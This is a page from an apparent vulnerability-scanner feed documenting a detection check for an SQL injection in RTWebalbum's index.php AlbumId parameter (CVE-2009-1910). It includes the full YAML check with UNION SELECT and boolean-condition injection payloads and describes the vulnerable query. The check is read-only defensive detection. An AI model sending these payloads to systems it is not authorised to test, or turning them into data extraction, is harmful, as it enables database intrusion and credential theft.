RTWebalbum — 1 vulnerability check

noctis ships 1 vulnerability check for RTWebalbum, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

RTWebalbum index.php AlbumId SQL Injection

CVECVE-2009-1910
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/rtwebalbum/CVE-2009-1910.yaml

RTWebalbum before 1.0.574 puts the AlbumId parameter of index.php unquoted into the SQL query that lists an album's pictures, allowing unauthenticated SQL injection: an attacker can read the whole database, including the administrator password hash.

This check requests index.php under the web root and a few usual install directories, and goes on only where the page looks like RTWebalbum (its project link or album links). It sends AlbumId as a UNION SELECT whose picture name is an expression multiplying two random numbers; the vulnerability is confirmed when the album page shows the product computed by the database, which never appears in the request. Otherwise, it takes an album linked from the home page and sends its id followed once by an always true and once by an always false SQL condition: the vulnerability is reported when only the true one lists the album's pictures. No data is read from the database and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{d}}/index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{d}}/index.php?AlbumId={{sc.uni}}
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{d}}/index.php?AlbumId={{gate.album}}%20AND%20{{sc.k}}={{sc.k}}
  7. HTTP(S) request GET {{d}}/index.php?AlbumId={{gate.album}}%20AND%20{{sc.k}}={{sc.k2}}
  8. Parses / computes the next value with a Rhai script
  9. Checks hit.lvl for ^97$ → finding QoD 97: RTWebalbum index.php AlbumId SQL Injection (CVE-2009-1910)
  10. Checks hit.lvl for ^75$ → finding QoD 75: RTWebalbum index.php AlbumId SQL Injection (CVE-2009-1910)

References:

Feed source — tests/vulnerabilities/rtwebalbum/CVE-2009-1910.yaml
# RTWebalbum < 1.0.574 — index.php 'AlbumId' SQL injection — CVE-2009-1910
#
# index.php reads AlbumId from the query string and, when it is not 0, runs
#     SELECT * FROM pictures WHERE AlbumID=<AlbumId> order by ID
# with the value spliced unquoted; the rows fill the picture name / description
# (<div id="descrp">, <div id="descrp2">) and the picArray[] JavaScript table of
# the album page. 1.0.574 adds is_numeric($AlbumId) before the query (the only
# change between 1.0.462 and 1.0.574, read from both SourceForge releases).
# The pictures table has 5 columns (ID, AlbumID, Name, Description, FileName).
#
# Detection, per candidate install directory whose index.php looks like
# RTWebalbum (the SourceForge project link of its footer, or an ?AlbumId= link):
#   QoD 97 — AlbumId = "-k UNION SELECT k,k,C,C,k-- -" with
#            C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random a, b, k: the
#            page shows "NOCTIS<a*b>END" as the picture name, a value only the
#            database evaluating our expression can produce (the product is
#            never in the request; the page echoes AlbumId itself unevaluated).
#   QoD 75 — boolean differential on the first album id N linked from the home
#            page: "N AND k=k" lists the album's pictures (picArray[0] = ...),
#            "N AND k=k+1" lists none. Needs an album that has pictures.
# Read-only: no table is written, nothing is extracted.
#
# Better than the source NASL:
#   - the NASL sends one "AlbumId=1 AND 1=1#" request and reports any non-empty
#     picture-name div: it misses installs whose album 1 is absent or empty, and
#     cannot tell the injected condition from a page that ignores it; here a
#     database-computed UNION value is required (QoD 97), or a true/false pair
#     on an album taken from the site itself (QoD 75);
#   - the web root and a few usual sub-directories are probed, not only
#     /rtwebalbum and the CGI dirs.
#
# Source: OpenVAS/Greenbone NVT 2009/gb_rtwebalbum_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900373, GPL-2.0-only).
uid: 9945f29e-4805-4246-88de-2482b54562fb
name: "RTWebalbum index.php AlbumId SQL Injection (CVE-2009-1910)"
description: |
  RTWebalbum before 1.0.574 puts the AlbumId parameter of index.php unquoted
  into the SQL query that lists an album's pictures, allowing unauthenticated
  SQL injection: an attacker can read the whole database, including the
  administrator password hash.

  This check requests index.php under the web root and a few usual install
  directories, and goes on only where the page looks like RTWebalbum (its
  project link or album links). It sends AlbumId as a UNION SELECT whose
  picture name is an expression multiplying two random numbers; the
  vulnerability is confirmed when the album page shows the product computed by
  the database, which never appears in the request. Otherwise, it takes an
  album linked from the home page and sends its id followed once by an always
  true and once by an always false SQL condition: the vulnerability is reported
  when only the true one lists the album's pictures. No data is read from the
  database and nothing is written.
cves: [CVE-2009-1910]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [rtwebalbum, photo-gallery, sqli, union-based, boolean-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1910"
  - "https://sourceforge.net/projects/rtwebalbum/"

steps:
  # ── Random operands, expected marker and the encoded UNION payload ────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let k = rand_int(1000, 9999);
      let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         k: "" + k,
         k2: "" + (k + 1),
         uni: "-" + k + "%20UNION%20SELECT%20" + k + "," + k + "," + c + "," + c + "," + k + "--%20-" }
    store_as: sc

  # ── Per candidate install directory (loop group) ──────────────────────────
  - id: init-hit
    action: set_var
    var_name: hit
    var_value: {lvl: "", path: ""}
    loop:
      var: d
      over: ["", "/rtwebalbum", "/RTWebalbum", "/webalbum", "/album", "/gallery"]

  - id: init-gate
    action: set_var
    var_name: gate
    var_value: {ok: false, album: ""}

  - id: init-home-r
    action: set_var
    var_name: home_r
    var_value: {status: 0, body: ""}

  - id: init-uni-r
    action: set_var
    var_name: uni_r
    var_value: {status: 0, body: ""}

  - id: init-true-r
    action: set_var
    var_name: true_r
    var_value: {status: 0, body: ""}

  - id: init-false-r
    action: set_var
    var_name: false_r
    var_value: {status: 0, body: ""}

  - id: home
    action: http_request
    method: GET
    path: "{{d}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: home_r

  # Product gate + first album id linked from the home page
  - id: check-home
    action: script
    code: |
      let body = if type_of(home_r.body) == "string" { home_r.body } else { "" };
      let m = eregmatch("[?&]AlbumId=([0-9]+)", body, true);
      let album = if m.len() > 1 { m[1] } else { "" };
      let ok = home_r.status == 200 &&
               (ereg("sourceforge\\.net/projects/rtwebalbum", body, true) || album != "");
      #{ ok: ok, album: album }
    store_as: gate

  # QoD 97: 5-column UNION SELECT with a database-computed marker
  - id: union-probe
    action: http_request
    method: GET
    path: "{{d}}/index.php?AlbumId={{sc.uni}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "gate.ok"
    store_as: uni_r

  - id: check-union
    action: script
    condition: "gate.ok"
    code: |
      let body = if type_of(uni_r.body) == "string" { uni_r.body } else { "" };
      if body.contains(sc.want) {
        #{ lvl: "97", path: d + "/index.php?AlbumId=-" + sc.k + " UNION SELECT " + sc.k + "," + sc.k + ",C,C," + sc.k + "-- -" }
      } else { #{ lvl: "", path: "" } }
    store_as: hit

  # QoD 75: always-true vs always-false condition on a real album
  - id: true-probe
    action: http_request
    method: GET
    path: "{{d}}/index.php?AlbumId={{gate.album}}%20AND%20{{sc.k}}={{sc.k}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'gate.ok && hit.lvl == "" && gate.album != ""'
    store_as: true_r

  - id: false-probe
    action: http_request
    method: GET
    path: "{{d}}/index.php?AlbumId={{gate.album}}%20AND%20{{sc.k}}={{sc.k2}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'gate.ok && hit.lvl == "" && gate.album != "" && type_of(true_r.body) == "string" && ereg("picArray\\[0\\][ \\t]*=", true_r.body)'
    store_as: false_r

  - id: check-boolean
    action: script
    condition: 'gate.ok && hit.lvl == "" && gate.album != ""'
    code: |
      let t = if type_of(true_r.body) == "string" { true_r.body } else { "" };
      let f = if type_of(false_r.body) == "string" { false_r.body } else { "" };
      let pics = "picArray\\[0\\][ \\t]*=";
      if true_r.status == 200 && false_r.status == 200 && ereg(pics, t) && !ereg(pics, f) {
        #{ lvl: "75", path: d + "/index.php?AlbumId=" + gate.album + " AND " + sc.k + "=" + sc.k }
      } else { #{ lvl: "", path: "" } }
    store_as: hit

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report-union
    action: match
    source: hit.lvl
    pattern: "^97$"
    on_match:
      finding:
        title: "RTWebalbum index.php AlbumId SQL Injection (CVE-2009-1910)"
        description: "An unauthenticated request with a UNION SELECT of a multiplication of two random numbers in AlbumId made the album page show the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole database."
        remediation: "Upgrade RTWebalbum to 1.0.574 or later, which rejects a non-numeric AlbumId before building the query."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit.path}} with C = CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44) returned the database-computed value {{sc.want}}"
      stop: true

  - id: report-boolean
    action: match
    source: hit.lvl
    pattern: "^75$"
    on_match:
      finding:
        title: "RTWebalbum index.php AlbumId SQL Injection (CVE-2009-1910)"
        description: "An unauthenticated request appending an always-true SQL condition to an album id listed the album's pictures, while the same request with an always-false condition listed none: the parameter reaches the SQL query unquoted, so an attacker can read the whole database."
        remediation: "Upgrade RTWebalbum to 1.0.574 or later, which rejects a non-numeric AlbumId before building the query."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{hit.path}} listed the album's pictures; the same request with ={{sc.k2}} listed none"
      stop: true

View these feeds on GitHub